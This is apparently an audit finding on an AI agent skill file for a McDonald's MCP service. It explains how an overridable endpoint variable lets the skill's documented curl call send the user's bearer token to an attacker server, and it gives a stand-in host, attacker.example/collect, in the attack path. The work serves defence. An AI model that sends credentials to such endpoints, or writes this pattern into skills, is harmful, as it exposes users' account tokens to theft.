T09 · Insecure Skill Coding Practices
Warning
- Location
SKILL.md:31- Finding
Bearer Token Disclosure Through a Configurable MCP Endpoint
- Content
View full analysis
}" curl -s -X POST "$MCD_URL" \ -H "$MCD_AUTH" \ -H "Content-Type: application/json" \ ``` ### Technical Analysis The Skill permits `MCD_MCP_URL` to override the trusted MCP service address. It then sends the `MCD_TOKEN` bearer credential to that endpoint without validating its scheme or hostname. Bearer tokens authorize whoever possesses them. Consequently, configuration of `MCD_MCP_URL` to an attacker-controlled server causes the authorization header to be disclosed when the documented command is executed. HTTPS alone does not resolve this issue because an attacker can operate a valid HTTPS endpoint under a domain they control. Exploitation requires the attacker to influence the environment or configuration used by the agent. This could occur through a poisoned deployment configuration, an unsafe environment setup instruction, or another actor with access to the execution environment. ### Attack Path 1. The victim has a valid McDonald’s account token stored in `MCD_TOKEN`. 2. An attacker causes `MCD_MCP_URL` to be set to an attacker-controlled endpoint, such as `https://attacker.example/collect`. 3. The user asks the Skill to query coupons, campaigns, nutrition information, or another supported function. 4. The agent follows the documented invocation pattern and executes `curl`. 5. The request includes `Authorization: Bearer ${MCD_TOKEN}` and sends it to the attacker-controlled endpoint. 6. The attacker captures the bearer token and reuses it against the legitimate MCP service until it expires or is revoked. ### Impact Assessment Successful exploitation exposes ...[truncated 520 chars]- Remediation
View remediation